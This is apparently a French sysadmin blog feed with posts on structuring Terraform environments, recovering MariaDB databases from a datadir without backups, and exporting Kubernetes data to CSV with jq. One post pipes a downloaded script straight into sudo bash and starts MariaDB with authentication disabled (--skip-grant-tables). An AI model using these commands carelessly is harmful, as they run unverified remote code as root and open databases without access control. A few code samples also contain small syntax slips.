❌

Vue lecture

Plusieurs façons de gérer son code et ses environnements avec Terraform

Au fil des annĂ©es, et depuis maintenant pratiquement six ans que je pratique terraform, j’ai pu voir et Ă©crire une quantitĂ© non nĂ©gligeable de lignes de code terraform, mes propres mĂ©thodes et prĂ©fĂ©rences ayant Ă©voluĂ© avec le temps. Je vous propose donc un petit florilĂšge de ce qu’on peut faire avec cet outil merveilleux.

Ai-je encore besoin de prĂ©senter cet incontournable du domaine qu’on appelle l’infrastructure-as-code ? L’outil d’Hashicorp est devenu une rĂ©fĂ©rence en quelques annĂ©es dans le domaine de la gestion d’infrastructure dans les nuages. Son modĂšle Ă  base d’extensions, les « providers Â», la capacitĂ© de reposer sur des modules de codes prĂ©-Ă©tablis, ont conquis bon nombre d’équipes et d’indĂ©pendants, et de bricoleurs du dimanche comme moi. Le fait que l’outil soit open-source est Ă©videmment un autre critĂšre Ă  ne pas oublier (alors oui, bon, entre temps, ça s’est un peu compliqué ). Il ne faut par contre pas croire ceux qui vous sortent encore qu’un seul code peut permettre de dĂ©ployer chez n’importe quel fournisseur, c’est juste de la grosse connerie. Mais les concepts d’utilisation et le langage restent eux bien identiques, et surtout, permettent dans la mĂȘme exĂ©cution de dĂ©ployer chez plusieurs fournisseurs en mĂȘme temps; moi par exemple, quand je dĂ©ploie une nouvelle machine sur mon serveur Proxmox, je peux dĂ©clarer une entrĂ©e DNS chez OVH dans le mĂȘme temps, le tout avec une seule exĂ©cution de terraform. C’est ce genre de puissance qui fait que l’outil est apprĂ©ciĂ© (on peut mĂȘme commander ses pizzas avec :P).

Un autre aspect est de pouvoir reproduire pratiquement Ă  l’identique et de maniĂšre illimitĂ©e un mĂȘme environnement. La souplesse dans l’utilisation du langage est un autre critĂšre qui a fait son succĂšs, et j’ai pu le comprendre en partie face aux diffĂ©rents « codes Â» que j’ai pu croiser, et certains modĂšles de code permettant notamment de gĂ©rer plusieurs environnements m’ont vraiment plu dans leur philosophie. C’est ce que je compte vous partager aujourd’hui. D’une maniĂšre assez rigolote : on va y aller par Ă©tape dans la complexitĂ©.

1° niveau : tout hardcodé

C’est ce qu’on voit dans les documentations des « providers Â», et c’est gĂ©nĂ©ralement la premiĂšre Ă©tape de ce qu’on produit comme code quand on dĂ©bute. Je vais volontairement Ă©luder l’organisation des fichiers pour me concentrer sur le code lui-mĂȘme : on peut tout coller dans un seul fichier, ou dans plusieurs, et leur nommage importe peu tant que leur extension est .tf.

resource "ovh_domain_zone_record" "vps_ipv4" {
    zone = "domain.tld"
    subdomain = "mysub"
    fieldtype = "A"
    ttl = "60"
    target = "1.2.3.4"
}

Simple, efficace, mais absolument pas souple quand il s’agira de reproduire ça pour d’autres enregistrements. La mĂ©thode simple consistera Ă  copier/coller ce code pour crĂ©er une deuxiĂšme ressource, une troisiĂšme, etc. Ça devient vite un enfer, et en plus, tout est dans le mĂȘme code donc le mĂȘme fichier d’état dont on reparlera assez vite. C’est lĂ  que les variables entrent en jeu.

2° niveau : variables, variables everywhere (et des maps)

Certes ce n’est pas ce que je recommande, mais une des premiĂšres utilisations des variables que j’ai faites Ă  Ă©tĂ© de crĂ©er une variable par propriĂ©tĂ© que je souhaitais pouvoir moduler/rĂ©utiliser. Ces variables sont Ă  enregistrer dans un fichier .tfvars, on comprend vite la signification de l’extension du fichier. Sans beaucoup plus d’explications parce que l’exemple sera suffisamment parlant, voilĂ  le rĂ©sultat :

resource "ovh_domain_zone_record" "vps_ipv4" {
    zone = var.domain
    subdomain = var.subdomain
    fieldtype = "A"
    ttl = "60"
    target = var.ip_address
}

Ma premiĂšre Ă©volution de ça a Ă©tĂ© de dupliquer le code comme au premier niveau, et donc avec les variables. En clair, j’avais un jeu de variables pour chaque domaine que je souhaite ajouter. C’est lourdingue, surtout quand on sait qu’on doit dĂ©clarer chaque variable qu’on compte utiliser avant de lui affecter une valeur. Aussi, le jour oĂč une Ă©volution majeure demande de réécrire le code (parce qu’on aura voulu renommer la propriĂ©tĂ© target par exemple), ça demandera de faire x fois la mĂȘme modification. On reste Ă©galement dans une gestion unique de l’état.

Une premiĂšre maniĂšre de rĂ©duire un peu le poids de ces dĂ©clarations de variables a Ă©tĂ© l’utilisation de listes et de maps. PlutĂŽt que d’avoir une variable par propriĂ©tĂ© d’une mĂȘme ressource, on crĂ©e une variable par ressource, et cette variable est en l’occurrence une map contenant toutes les propriĂ©tĂ©s dont on a besoin. Le rĂ©sultat est parlant lĂ  encore :

resource "ovh_domain_zone_record" "vps_ipv4" {
    zone = var.domain["domain_name"]
    subdomain = var.domain[subdomain"]
    fieldtype = "A"
    ttl = "60"
    target = var.domain["ip_address"]
}

variable "domain" {}

domain = {
  "domain_name" = "domain.tld"
  "subdomain"   = "mysub"
  "ip_address"  = "1.2.3.4"
}

J’ai inclus un exemple de variable en dessous pour qu’on comprenne la diffĂ©rence avec le cas prĂ©cĂ©dent. Si on commence Ă  modulariser ce code, l’utilisation d’une map comme celle-ci permet de grandement limiter la duplication de code, mĂȘme si pour l’instant, nous n’avons pas encore Ă©voluĂ© sur notre gestion de l’état.

Un trĂšs bonne Ă©volution amenĂ©e par Hashicorp a Ă©tĂ© l’utilisation de boucles, via la fonction for_each. Elle permet de boucler sur une map ou une liste pour rĂ©pĂ©ter un mĂȘme code Ă  partir du contenu de celle-ci. Ajoutez le fait que cette map peut ĂȘtre indexĂ©e, vous commencerez peut-ĂȘtre Ă  comprendre oĂč je veux en venir. On peut dĂšs lors crĂ©er la liste des ressources dans une seule variable avec une sĂ©rie de propriĂ©tĂ©s. Ici, il « suffit Â» de faire la liste des domaines et des IP associĂ©es dans la variable domain, et on peut boucler dessus:

resource "ovh_domain_zone_record" "vps_ipv4" {
  for_each = var.domains
  zone = each.value.domain_name
  subdomain = each.value.subdomain
  fieldtype = "A"
  ttl = "60"
  target = each.value.ip_address
}

variable "domains" {
  type = map(any)
} 

domains = {
  record1 = { 
  domain_name = "domain.tld",
  subdomain = "mysub",
  ip_address = "1.2.3.4"},
  record2 = { 
  domain_name = "domain2.tld",
  subdomain = "mysub2",
  ip_address = "4.5.6.7"}
}

Et depuis, ce for_each a Ă©tĂ© Ă©tendu pour ĂȘtre utilisĂ© non seulement sur les ressources, mais aussi carrĂ©ment sur les modules eux-mĂȘmes. Ça donne quelque chose de particuliĂšrement puissant et qui peut rester assez lĂ©ger Ă  lire. Swag.

3° niveau : le couple fichier tfvars + changer la clé de son backend

Eh oui, il est temps de parler d’un Ă©lĂ©ment que je un peu trop vite Ă©ludĂ© pour l’instant. Le fonctionnement de terraform repose sur l’enregistrement de l’état de l’infrastructure dĂ©crite dans le code, une fois celui-ci appliquĂ©. Lors des exĂ©cutions successives, l’outil compare le code, l’état, et ce qui est prĂ©sent cĂŽtĂ© plateforme cible pour ensuite indiquer si des changements sont Ă  effectuer (ajout, suppression, modification). Le rĂ©sultat est donc stockĂ© dans cet Ă©tat, le fameux « tfstate Â».

Quand on ne dĂ©clare rien, terraform va stocker son Ă©tat dans un fichier local, appelĂ© terraform.tfstate. Mais on peut configurer un backend distant pour le stockage de ce fichier, qui est d’ailleurs nĂ©cessaire dĂšs lors que le code est partagĂ© via un outil type git, pour que chaque intervenant susceptible de travailler avec le code puisse exploiter un Ă©tat commun. C’est lĂ  qu’on commence Ă  rigoler, mais aussi Ă  faire une chose lourde et rĂ©trospectivement assez dangereuse : associer une clĂ©, c’est-Ă -dire le chemin du fichier dans le stockage, et un fichier de variables. Pourquoi ? parce qu’on ne peut pas variabiliser une clĂ© de backend comme on le ferait pour le reste de la configuration des providers. Mais bon, on peut enfin sĂ©parer les Ă©tats selon des critĂšres (gĂ©nĂ©ralement, la cible d’exĂ©cution : sandbox, production
). Mais plantez-vous une fois, et appliquez le mauvais fichier sur l’environnement cible, et c’est potentiellement tout une production qui tombe. C’est clairement pas ce que je recommande, mais j’ai eu Ă  gĂ©rer Ă  un moment donnĂ© un backend qui ne supportait pas l’utilisation des Workspaces, et c’était Ă  l’époque la seule solution qui nous Ă©tait apparu comme acceptable pour Ă©viter trop de duplications de code, du genre un dossier par environnement, chacun avec sa conf, son fichier de variables, son backend. Le jour oĂč on doit modifier quelque chose, il faut le rĂ©pliquer ensuite dans chaque dossier. Pas toujours foufou quand on ne peut pas exploiter les modules.

4° Niveau: les workspaces !

Ça a Ă©tĂ© une fonctionnalitĂ© qui, si le backend le supporte, permet de rĂ©duire un peu la lourdeur de la gestion de l’état. En effet, vous dĂ©clarez une clĂ© de backend « de base Â» dans votre configuration, et chaque workspace créé va gĂ©nĂ©rer une clĂ© de backend Ă  partir de la base, mais avec un suffixe qui est le nom du workspace. Pourquoi je dit « si le backend le supporte Â» ? Parce que le caractĂšre sĂ©parateur est un « : Â» qui n’est pas forcĂ©ment bien tolĂ©rĂ© par la technologie de stockage. On reste malgrĂ© tout dans le domaine du « faut faire gaffe au fichier de conf Â», mais l’avantage c’est qu’on a « juste Â» Ă  gĂ©rer un tfvars. Je vous laisse lire l’excellente page de StĂ©phane Robert sur le sujet pour en comprendre l’intĂ©rĂȘt.

5° Niveau: Le boss final de l’élĂ©gance

Vraiment, c’est ce que j’ai eu l’occasion de voir le plus Ă©lĂ©gant, tout en Ă©tant pas Ă©videmment la solution absolue. Seulement, c’est particuliĂšrement pratique si on doit rĂ©pliquer sur plusieurs environnements. On reprend une grande partie des Ă©lĂ©ments prĂ©cĂ©dents, Ă  savoir les workspaces, les maps pour les variables. Mais exit les tfvars, tout repose sur le workspace et les valeurs « par dĂ©faut Â» des variables.

Je ne vais pas reprendre l’exemple du domaine parce que ça n’aurait que peu de sens. On va cette fois prendre comme exemple la dĂ©finition d’un subnet dans un projet Hetzner Cloud pour trois environnements diffĂ©rents:

resource "hcloud_network" "privNet" {
  name     = terraform.workspace
  ip_range = var.subnets[terraform.workspace].subnet
}

variable "subnets" {
  description = "List of subnets for all envs"
  type = map(any)
  default = {
    dev = {
      subnet = "10.1.0.0/24"
    },
    preprod = {
      subnet = "10.2.0.0/24"
    },
    prod = {
      subnet = "10.3.0.0/24"
    }
  }
}

Ensuite, il n’y a plus qu’à initialiser son environnement, son workspace donc, et d’appliquer le code, et il va sĂ©lectionner le subnet en fonction du workspace. D’ailleurs, il est possible aussi de crĂ©er dans la map une sous-liste si on veut crĂ©er plusieurs subnets, et d’appliquer un for_each. Ça pourrait alors donner un truc dans le genre:

resource "hcloud_network" "privNet" {
  for_each = toset(var.subnets[terraform.workspace].subnets)
  name     = "${terraform.workspace}-${index(var.subnets[terraform.workspace].subnets, each.value) +1}"
  ip_range = each.value
}

variable "subnets" {
  description = "List of subnets for all envs"
  type = map(any)
  default = {
    dev = {
      subnets = [ "10.1.0.0/24", "10.2.0.0/24" ]
    },
    preprod = {
      subnet = [ "10.3.0.0/24", "10.4.0.0/24" ]
    },
    prod = {
      subnet =  [ "10.5.0.0/24", "10.6.0.0/24" ]
    }
  }
}

Bon lĂ  je me complique la vie parce qu’avec une simple liste sans « label Â», faut ruser pour trouver un nom pour chaque subnet cĂŽtĂ© Hetzner, mais vous avez l’idĂ©e. TestĂ© rapidement, ça donne ça comme plan :

tofu plan

OpenTofu used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols:
  + create

OpenTofu will perform the following actions:

  # hcloud_network.privNet["10.5.0.0/24"] will be created
  + resource "hcloud_network" "privNet" {
      + delete_protection        = false
      + expose_routes_to_vswitch = false
      + id                       = (known after apply)
      + ip_range                 = "10.5.0.0/24"
      + name                     = "prod-1"
    }

  # hcloud_network.privNet["10.6.0.0/24"] will be created
  + resource "hcloud_network" "privNet" {
      + delete_protection        = false
      + expose_routes_to_vswitch = false
      + id                       = (known after apply)
      + ip_range                 = "10.6.0.0/24"
      + name                     = "prod-2"
    }

Plan: 2 to add, 0 to change, 0 to destroy.

Vous pouvez donc dans un seul fichier de variables, dĂ©finir l’intĂ©gralitĂ© de vos environnements. Et si pour une quelconque raison certaines ressources n’ont pas Ă  ĂȘtre dĂ©ployĂ©es dans tous les environnements, vous pouvez conditionner leur application :

resource "hcloud_network" "privNet" {
  count = try(terraform.workspace == "prod") ? 1 : 0
  name = terraform.workspace
  ip_range = var.subnets[terraform.workspace].subnet
}

Ici, on ne crĂ©era le subnet que si l’on est « en prod Â».

Et tant d’autres subtilitĂ©s

Il y a certainement plein d’autres mĂ©thodes pour gĂ©rer son code terraform, je n’ai ici recensĂ©es que celles que j’ai pu voir en cinq ans de pratique (ça fait un an que j’en avais pas touchĂ©, ça fait bizarre et c’est toujours aussi rigolo Ă  bricoler). Je suis d’ailleurs curieux de voir un peu comment vous procĂ©dez. D’ailleurs, si on va voir du cĂŽtĂ© de chez Julien Hommet on peut voir que la dĂ©finition de la map va plus loin que mon simple « any Â» de gros feignant que je suis, je recommande Ă©videmment sa syntaxe, plus prĂ©dictive. J’imagine qu’il y a d’autres aspects que je n’ai pas abordĂ© ici et que vous pourriez certainement porter Ă  ma connaissance (et Ă  ceux qui lisent l’article du coup) 🙂

  •  

Récuperer les bases de données de feu mon cluster k3s, sans backup

Oui, comme la maxime qui parle d’un cordonnier, je n’avais pas encore mis en place les backups MariaDB quand mon dernier raspberry Pi, plus prĂ©cisĂ©ment sa carte SD, a rendu l’ñme. Donc pour la restauration sur la nouvelle installation, c’est compliquĂ©. Mais pas impossible non plus 🙂

Pour ceux qui n’ont pas forcĂ©ment suivi toute l’histoire de ce cluster, petit rappel: deux Raspberry Pi, du k3s sur Raspberry Pi OS, un master, un worker. J’avais retirĂ© le worker pour bosser sur une refonte, Ă  savoir une installation de Talos sur SSD, mais le master qui s’est retrouvĂ© tout seul a commencĂ© Ă  montrer des signes de fatigue. J’avais juste mis ça sur la charge de porter tous les pods, mais il s’avĂšre que les Ă©critures plus nombreuses ont accĂ©lĂ©rĂ© la mort de la carte SD.

Oui car dans une installation Kubernetes, et mĂȘme si les principaux volumes de mes applications sont provisionnĂ©s/montĂ©s par le driver CSI NFS, les logs, et toute l’activitĂ© liĂ©e aux pods, sont Ă©crits sur le volume local de la machine, et donc ici une carte SD. mĂȘme en ayant pris un modĂšle plus adaptĂ© Ă  ce cas d’usage, au bout de plus de 5 ans, ça commençait Ă  faire trop, et elle m’a lĂąchĂ© sans prĂ©venir pendant mes vacances.

Faites des sauvegardes bordel !

Ou alors « Faites ce que je dis, pas ce que je fais Â». AprĂšs la rĂ©installation de Mariadb via le mariadb-operator (qu’on avait d’ailleurs fait en live, abonne-toi toussa :D), j’avais laissĂ© de cĂŽtĂ© les sauvegardes pour me concentrer sur la migration des bases et la reconfiguration des applications. J’ai ensuite portĂ© mon attention ailleurs et je ne suis jamais revenu dessus. La seule forme de sauvegarde que j’ai, c’est que le datadir de l’instance MariaDB n’est pas sur les nƓuds mais sur mon NAS, et j’ai un job de sauvegarde quotidien vers une Storage Box Hetzner. MĂȘme sans cette externalisation, le fait que le datadir est toujours disponible est dĂ©jĂ  une certaine sĂ©curitĂ©.

Sauf que
 qui dit mariadb-operator dit gestion par l’opĂ©rateur du compte root de l’instance, donc quand il s’agit de restaurer, je ne peux pas juste resynchroniser le datadir dans le nouveau volume, parce que je n’ai plus les manifestes qui vont avec, en clair, je n’ai plus le compte root. J’ai donc un joli datadir, mais pas directement exploitable pour la restauration. Sans parler que je profite de la nouvelle installation pour passer sur une version plus rĂ©cente de MariaDB. bref, ça me complique la vie. Mais ne c’est pas perdu pour autant.

La tactique de la lessive

(si vous l’avez celle-là
) J’avais dĂ©jĂ  eu Ă  gĂ©rer ça sur le serveur d’un client un jour, je me souviens plus la cause de dĂ©part, mais on avait besoin de rĂ©initialiser le compte root de son instance MySQL, en gros, on s’était enfermĂ© dehors. L’astuce, c’est de dĂ©marrer une instance MySQL en spĂ©cifiant le datadir, et en utilisant l’option --skip-grant-tables pour dĂ©marrer sans authentification. À proscrire absolument dans le monde rĂ©el, mais dans le besoin


Dans mon cas, j’ai bossĂ© sur mon installation WSL2 sur Ubuntu 22.04. J’ai commencĂ© par vĂ©rifier la version de MariaDB que j’avais utilisĂ© pour le dĂ©ploiement de l’instance: 10.11.4. J’ai suivi ensuite la doc officielle pour ajouter le dĂ©pot mariadb pour ma branche:

curl -LsS https://r.mariadb.com/downloads/mariadb_repo_setup | sudo bash -s -- --mariadb-server-version="mariadb-10.11"

Comme souvent dans le cas de cette mĂ©thode horrible du curl | bash, j’ai vĂ©rifiĂ© le script avant, vĂ©rification que je vous recommande de faire systĂ©matiquement, ici tout va bien. Une fois donc le script exĂ©cutĂ©, qui aura ajoutĂ© la clĂ© GPG et le dĂ©pot. On peut donc passer Ă  l’installation:

$ sudo apt install mariadb-server
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
htop libnl-3-200 libnl-genl-3-200 libsass1 libva-wayland2 linux-headers-5.15.0-139 linux-headers-5.15.0-139-generic
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
galera-4 libcgi-fast-perl libcgi-pm-perl libconfig-inifiles-perl libdbd-mysql-perl libdbi-perl libfcgi-bin libfcgi-perl libfcgi0ldbl libhtml-template-perl libmariadb3 libmysqlclient21
libterm-readkey-perl liburing2 libwrap0 mariadb-client mariadb-client-core mariadb-common mariadb-server-core mysql-common pv socat
Suggested packages:
libmldbm-perl libnet-daemon-perl libsql-statement-perl libipc-sharedcache-perl mailx mariadb-test doc-base
The following NEW packages will be installed:
galera-4 libcgi-fast-perl libcgi-pm-perl libconfig-inifiles-perl libdbd-mysql-perl libdbi-perl libfcgi-bin libfcgi-perl libfcgi0ldbl libhtml-template-perl libmariadb3 libmysqlclient21
libterm-readkey-perl liburing2 libwrap0 mariadb-client mariadb-client-core mariadb-common mariadb-server mariadb-server-core mysql-common pv socat
0 upgraded, 23 newly installed, 0 to remove and 3 not upgraded.
Need to get 28.2 MB of archives.
After this operation, 159 MB of additional disk space will be used.
Do you want to continue? [Y/n]

PremiĂšre chose que je fais, c’est de dĂ©sactiver le service, car il est de coutume dans les environnement « Debian-like Â» que l’installation d’un paquet avec un service inclue l’activation et le dĂ©marrage par dĂ©faut dudit service. J’ai donc dĂ©jĂ  un serveur MariaDB dĂ©marrĂ© Ă  la fin de l’installation:

sudo systemctl disable --now mariadb.service

Ensuite, je récupÚre une copie via rsync de mon datadir dormant:

rsync -a 192.168.1.201:/volume1/Kube/pvc-3dbb41c0-41ea-4f09-90cc-4aa186124266/ ./datadir/

TrĂšs important, ne jamais travailler sur la version d’origine, qui doit rester en l’état si tout ne se passe pas comme prĂ©vu. Ensuite, on en vient Ă  la partie la plus importante. J’ai du retĂąter un peu du --help, et prendre deux/trois messages d’erreur dans la gueule, puis, enfin, le Graal :

$ mysqld --skip-grant-tables --datadir=./datadir --socket ./mysqld.sock --pid-file=./mysqld.pid
2025-05-19 21:16:17 0 [Note] Starting MariaDB 10.11.11-MariaDB-ubu2204 source revision e69f8cae1a15e15b9e4f5e0f8497e1f17bdc81a4 server_uid KCkK/FgNE+mocr6SqlkAw7a5WoI= as process 52647
2025-05-19 21:16:17 0 [Note] InnoDB: Compressed tables use zlib 1.2.11
2025-05-19 21:16:17 0 [Note] InnoDB: Number of transaction pools: 1
2025-05-19 21:16:17 0 [Note] InnoDB: Using AVX512 instructions
2025-05-19 21:16:17 0 [Note] InnoDB: Using liburing
2025-05-19 21:16:17 0 [Note] InnoDB: Initializing buffer pool, total size = 128.000MiB, chunk size = 2.000MiB
2025-05-19 21:16:17 0 [Note] InnoDB: Completed initialization of buffer pool
2025-05-19 21:16:17 0 [Note] InnoDB: File system buffers for log disabled (block size=4096 bytes)
2025-05-19 21:16:17 0 [Note] InnoDB: End of log at LSN=3957967525
2025-05-19 21:16:17 0 [Note] InnoDB: 128 rollback segments are active.
2025-05-19 21:16:17 0 [Note] InnoDB: Removed temporary tablespace data file: "./ibtmp1"
2025-05-19 21:16:17 0 [Note] InnoDB: Setting file './ibtmp1' size to 12.000MiB. Physically writing the file full; Please wait ...
2025-05-19 21:16:17 0 [Note] InnoDB: File './ibtmp1' size is now 12.000MiB.
2025-05-19 21:16:17 0 [Note] InnoDB: log sequence number 3957967525; transaction id 2439228
2025-05-19 21:16:17 0 [Note] InnoDB: Loading buffer pool(s) from /home/seboss666/git/git.seboss666.ovh/k3s_platform/kubernetes/databases/datadir/ib_buffer_pool
2025-05-19 21:16:17 0 [Note] Plugin 'FEEDBACK' is disabled.
2025-05-19 21:16:17 0 [Warning] You need to use --log-bin to make --expire-logs-days or --binlog-expire-logs-seconds work.
2025-05-19 21:16:17 0 [Note] Server socket created on IP: '127.0.0.1'.
2025-05-19 21:16:17 0 [Note] InnoDB: Buffer pool(s) load completed at 250519 21:16:17
2025-05-19 21:16:17 0 [Note] mysqld: ready for connections.
Version: '10.11.11-MariaDB-ubu2204' socket: './mysqld.sock' port: 3306 mariadb.org binary distribution

Wouhou, dĂ©sormais, on peut brancher un client sur le socket qu’on a indiquĂ© et vĂ©rifier la prĂ©sence des bases :

$ mysql -S ./datadir/mysqld.sock
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3
Server version: 10.11.11-MariaDB-ubu2204 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| freshrss           |
| gitea              |
| information_schema |
| mariadb            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
7 rows in set (0.045 sec)

TADA !!!

On peut dĂšs lors dumper les bases pour prĂ©parer l’importation dans la nouvelle instance, en spĂ©cifiant aussi le socket :

mysqldump -S ./datadir/mysqld.sock -Q -B --opt gitea > gitea.sql

Quelques dizaines de minutes plus tard passées sur Talos, les applis sont de nouveau disponible \o/

Prochaine Ă©tape: mettre en place des dumps et des sauvegardes « Kube Â»

J’ai dĂ©jĂ  cette histoire de datadir, mais on l’a vu, en cas de restauration c’est assez contraignant et ça aurait pu ĂȘtre encore plus long si je n’avais pas dĂ©jĂ  su comment procĂ©der. Pire, on ne peut pas restaurer « en l’état Â» parce que les infos de l’instance dĂ©ployĂ©e par l’opĂ©rateur sont perdues dans la bataille, ce qui oblige Ă  tout rĂ©installer.

Il faut donc que je mette en place des dumps, l’opĂ©rateur va m’y aider, mais aussi la sauvegarde des manifestes Kubernetes et lĂ  on reparlera de Velero je pense. Les dumps, c’est une sĂ©curitĂ© et la facilitĂ© de migration des bases, les manifestes permettent de rĂ©tablir l’instance dans l’état le plus proche de l’original, ce qui m’aurait Ă©vitĂ© les heures passĂ©es Ă  tout refaire de zĂ©ro.

Donc oui, plus que jamais, faites des sauvegardes (et testez-les aussi, de temps en temps, c’est mieux) 🙂

  •  

Extraire des infos de votre cluster Kubernetes au format CSV

Autre petit dĂ©terrage de brouillon. Je sais, quand on bosse sur en tant que Sysadmin, c’est pas spĂ©cialement le premier format de donnĂ©es auquel on pense. Mais quand on commence Ă  bosser sur un cluster avec des dizaines de sites web dĂ©ployĂ©s, plus des utilitaires/opĂ©rateurs autour, extraire les infos devient un lĂ©ger sport, pire, quand il faut partager l’info Ă  des gens moins techniques, c’est compliquĂ©. Et donc, le format CSV peut aider, je vous explique.

Quand j’étais encore chez LinkByNet/Accenture, un des clusters Kube que j’avais Ă  gĂ©rer Ă©tait mutualisĂ© entre plusieurs entitĂ©s d’un client (appelĂ©s maisons), les applications Ă©taient identifiĂ©es clairement comme telles via un label, mais on a dĂ©couvert que cet Ă©lĂ©ment d’inventaire, qui permettait la refacturation de la consommation dans le cluster Ă  chaque maison (je vous passe le reste des dĂ©tails), n’était pas toujours positionnĂ© correctement. Avant d’effectuer des corrections il est donc nĂ©cessaire de rĂ©cupĂ©rer les informations existantes.

La configuration du label « maison Â» est splittĂ©e dans autant de dĂ©pĂŽts git qu’on a de sites dĂ©ployĂ©s, donc on s’évite le truc, et on part du principe qu’on peut rĂ©cupĂ©rer l’information dans le cluster directement. Et pour traiter le rĂ©sultat, surtout le partager au client, vu le format que ça risque de prendre (un tableau), on pense partager un tableau Excel pour ensuite se voir retourner la version corrigĂ©e.

Si vous manipulez rĂ©guliĂšrement Kubernetes, vous savez que Excel, et mĂȘme CSV, ne sont pas des formats supportĂ©s pour rĂ©cupĂ©rer les informations, on a que JSON et YAML (en tout cas pour avoir les dĂ©tails des dĂ©ploiements/statefulsets/daemonsets, comme les labels), et Ă©ventuellement jsonPath pour prĂ©-filtrer les infos. Ceci dit, Ă  partir de JSON il y a potentiellement de quoi faire, en particulier avec jq. J’aime bien jq, mĂȘme si je rote du sang Ă  chaque fois que j’essaie de l’utiliser. Quelques recherches plus tard, mes intuitions Ă©taient correctes et il s’avĂšre que jq permet de formater les donner en CSV. Mais au fait, c’est quoi le CSV ?

Petit retour sur un format texte simple et pourtant si pratique

CSV ça veut dire Comma Separated Values, soit valeurs sĂ©parĂ©es par des virgules. Oui, c’est aussi simple que ça en a l’air, dans un fichier texte, la premiĂšre ligne peut dĂ©signer Ă©ventuellement les titres des colonnes, et les lignes suivantes les valeurs. Un exemple ?

Nom,Prénom,Profession,Ville
Chabrier,Pierre,Pleureur,MontCuq
Lévy,Sylvain,Sniper,Saint-Denis
Christ,Jesus,,Nazareth

Vous voyez, c’est assez Simple. Et en vrai on pourrait aussi procĂ©der de la mĂȘme façon avec la premiĂšre colonne de description et les suivantes de donnĂ©es, voire les deux. Vous avez remarquĂ© la troisiĂšme ligne ? Pour indiquer qu’on ne « remplit Â» pas la colonne correspondant ici Ă  Profession, on laisse juste un vide avec deux virgules successives. Comme je l’ai dit, simple, efficace.

Reste à savoir comment on obtient ça à partir du JSON que nous retourne kubectl.

Dans le dur

Bien, comme je l’ai dit, jq va nous servir trĂšs fort, parce qu’il a justement une fonction dĂ©diĂ©e au formatage de donnĂ©es en CSV. Commençons dĂ©jĂ  par rĂ©cupĂ©rer ce dont on a besoin. On cherche donc les infos des Deployments, StatefulSets, DaemonSets de tous les namespaces. Sur le papier, j’aurais pu utiliser jsonPath comme sortie pour rĂ©cupĂ©rer les champs que je voulais, mais j’ai notĂ© de dĂ©jĂ  passer par jq pour filtrer tout ça et ne garder que ce qui m’intĂ©resse, Ă  savoir le type (Kind), le Namespace, le nodeselector (oui, on a eu une histoire de nodepool Ă  gĂ©rer aussi), et le fameux label « maison Â». Avec jq j’y suis arrivĂ© plus simplement alors qu’avec jsonPath j’ai toujours butĂ© sur un des points (mais lĂ  j’avoue, entre le premier brouillon y’a trois ans et maintenant, j’ai oubliĂ© lequel). Bref, tout ça finit dans un fichier json, ça donne quelque chose comme ça :

kubectl get deploy,sts,ds -o json -A | jq -r '[ .items[] | {Kind: .kind , Name: .metadata.name, Maison: .metadata.labels["maison"], Namespace: .metadata.namespace, selector: .spec.template.spec.nodeSelector["lbn.fr/project"] }]' > workload.json

Pas super simple Ă  lire, mais pas non plus super compliquĂ© Ă  comprendre. Maintenant vient la partie qui permet de structurer notre futur fichier CSV. On commence par les entĂȘtes. Actuellement on a ça dans le fichier json:

[{"Kind":"Deployment", "Name":"site1-com","Maison":"maison1","Namespace":"dev-site1-com","selector","web"},
{"Kind":"Deployment", "Name":"site2-com","Maison":"maison2","Namespace":"dev-site2-com","selector","web"}]

La premiĂšre action va donc ĂȘtre d’extraire les clĂ©s. La petite triche ici c’est qu’on est certain qu’on peut se reposer sur la premiĂšre « ligne Â» du tableau JSON parce qu’on a exactement les mĂȘmes champs dans toutes les entrĂ©es. Et petite subtilitĂ© par contre, comme il s’agit des clĂ©s, on doit forcer jq Ă  ne pas les trier par ordre alphabĂ©tique sinon ça fout la grouille :

cat workload.json | jq '.[0]|keys_unsorted | @csv' > workload.csv

  • Le [0], c’est pour forcer Ă  se baser sur la premiĂšre ligne uniquement (sinon il sortirait les clĂ©s de toutes les lignes et on aurait autant de lignes avec les noms des champs qu’on a d’entrĂ©es dans le tableau JSON)
  • keys_unsorted, comme je l’ai dit, permet de ne pas trier alphabĂ©tiquement
  • le  @csv est la fonction magique qui formate le rĂ©sultat pour nos besoins.
  • le chevron simple permet de s’assurer que c’est la premiĂšre ligne du fichier, puisque comme ça tout contenu Ă©ventuellement existant est directement supprimĂ© pour ĂȘtre remplacĂ© par notre unique ligne.

C’est pas si compliquĂ© hein ? Reste ensuite Ă  extraire les valeurs, pour toutes les lignes cette fois. La logique reste grosso modo la mĂȘme, Ă  part que lĂ , et j’ignore pourquoi, pas besoin de forcer Ă  ne pas trier les valeurs, elles restent dans le bon ordre :

cat workload.json | jq '.[]|map(values) | @csv' >> workload.csv
sed -i.bak 's/[\"\\]//g' workload.csv

À la place de [0] on met [] pour indiquer « toutes les entrĂ©es Â», on mappe les valeurs sinon le filtre csv rĂąle, et on met un double chevron pour mettre le rĂ©sultat Ă  la suite du contenu existant du fichier.

Et voilĂ , on peut dĂ©sormais importer ce CSV dans un tableur pour le prĂ©senter de maniĂšre intelligible, avec des jolies colonnes qu’on peut filtrer/trier/annoter/corriger, Ă  des gens qui n’ont pas l’habitude de bosser avec du JSON. Au final on aura eu quand mĂȘme une petite dizaine de sites Ă  corriger, on a donc pu se permettre de le faire manuellement. Sur un plus gros volume, on serait certainement passĂ© par du scripting Python pour modifier les fichiers de values directement dans tous les dĂ©pĂŽts Gitlab concernĂ©s, en laissant ensuite faire la magie du dĂ©ploiement continu 🙂

  •  

Migrer sa base de données Gitea de SQLite vers MySQL/MariaDB

